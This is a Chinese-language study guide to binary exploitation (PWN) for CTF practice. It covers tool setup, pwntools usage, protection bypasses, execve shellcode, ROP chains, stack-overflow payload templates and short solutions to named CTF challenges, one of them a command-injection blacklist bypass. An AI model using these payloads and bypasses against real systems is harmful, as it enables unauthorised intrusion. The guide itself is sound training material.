pwn的一些知识点总结分享
字数 1597 2025-08-22 12:23:24
PWN 漏洞利用技术全面指南
一、环境搭建
Ubuntu 16.04 环境准备
-
系统安装
- 下载镜像:从清华镜像站获取
ubuntu-16.04.7-desktop-amd64.iso - 使用 VMware Workstation 进行安装
- 下载镜像:从清华镜像站获取
-
基础配置
sudo apt-get install apt-transport-https vim /etc/apt/sources.list # 替换为清华源 -
Python 环境
- Python2 Pip 安装(21.0以下版本):
sudo add-apt-repository universe sudo apt update wget https://bootstrap.pypa.io/pip/2.7/get-pip.py sudo python2 get-pip.py
必备工具安装
-
pwntools
pip install pwntools验证安装:
import pwn -
pwndbg 插件
git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh -
one_gadget
sudo apt-get purge --auto-remove ruby sudo apt-get install ruby2.6 ruby2.6-dev sudo gem install one_gadget -
ropper
sudo pip3 install capstone filebytes keystone-engine pip3 install ropper
二、PWN 基础知识
1. pwntools 使用指南
基础连接与交互
from pwn import *
p = remote('example.com', 12345) # 远程连接
p = process('./binary') # 本地进程
p.sendline('data') # 发送数据
data = p.recvline() # 接收数据
调试功能
gdb.attach(p, '''
break main
continue
''')
ROP 链构造
elf = ELF('./binary')
rop = ROP(elf)
rop.call(elf.symbols['system'], [next(elf.search(b'/bin/sh'))])
print(rop.dump())
Shellcode 生成
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
2. checksec 安全机制分析
| 保护机制 | 说明 | 绕过方法 |
|---|---|---|
| RELRO (Partial/Full) | 重定位表只读保护 | Partial RELRO 下可修改部分GOT条目 |
| Stack Canary | 栈保护金丝雀值 | 泄露canary值或覆盖不检查的位置 |
| NX (Non-Executable) | 数据区不可执行 | ROP/JOP等代码复用技术 |
| PIE (Position Independent Executable) | 地址随机化 | 信息泄露获取基地址 |
| ASLR | 系统级地址随机化 | 暴力破解或信息泄露 |
3. 关键概念解析
- 二进制程序:包含漏洞的可执行文件
- 逆向分析:通过反汇编理解程序逻辑
- Payload:利用漏洞的输入数据/代码
- Shell:通过漏洞获取的系统命令行界面
- ELF文件结构:包含.text(代码)、.data(数据)、.bss等段
三、漏洞类型与利用技术
1. Shellcode 技术
64位系统调用
mov rdi, ptr_to_bin_sh
mov rsi, 0
mov rdx, 0
mov rax, 0x3b # execve系统调用号
syscall
快速生成
# 32位
context(arch='i386', os='linux')
shellcode = asm(shellcraft.sh())
# 64位
context(arch='amd64', os='linux')
shellcode = asm(shellcraft.sh())
2. 危险函数列表
| 危险函数 | 安全替代方案 | 漏洞类型 |
|---|---|---|
| gets() | fgets() | 缓冲区溢出 |
| strcpy() | strncpy() | 缓冲区溢出 |
| sprintf() | snprintf() | 格式化字符串 |
| system() | execve() | 命令注入 |
| scanf() | fgets()+sscanf() | 缓冲区溢出 |
3. 溢出漏洞详解
栈溢出利用模式
- 确定溢出点(填充长度)
- 覆盖返回地址
- 跳转到shellcode或ROP链
典型payload结构
payload = b'A'*offset + p64(target_address)
堆溢出利用
- 覆盖堆管理结构
- 修改函数指针
- 利用unlink等操作
四、实战案例分析
1. [SWPUCTF 2021 新生赛]nc签到
# 绕过黑名单技巧
tac$IFS$1flag
2. [NISACTF 2022]ReorPwn?
from pwn import *
p = process('./challenge')
p.sendline(b'tac flag')
print(p.recvall())
3. hello_pwn (攻防世界)
payload = b'a'*4 + p64(1853186401)
p.send(payload)
4. pwn05 (ctfshow)
payload = b"a"*(0x14+4) + p32(0x08048486)
五、高级技巧
1. ROP技术进阶
- 使用ROPgadget工具查找gadget
- 构造多级ROP链
- 利用libc中的gadget
2. 内存泄露技术
- 格式化字符串泄露
- 堆布局泄露
- 利用puts/printf输出内存内容
3. 防御绕过技术
- 对抗ASLR:暴力破解或信息泄露
- 对抗Stack Canary:部分覆盖或泄露
- 对抗DEP/NX:ROP/JOP
六、学习资源与练习
推荐练习平台
- NSSCTF
- 攻防世界
- ctfshow
- pwnable.kr
必备工具列表
- IDA Pro:静态分析
- pwndbg:动态调试
- checksec:安全检查
- ROPgadget:ROP链构造
- one_gadget:快速查找关键gadget
通过系统学习上述内容,配合大量实战练习,可以逐步掌握PWN技术的核心要点,从基础栈溢出到高级ROP利用,最终能够独立分析并利用各类二进制漏洞。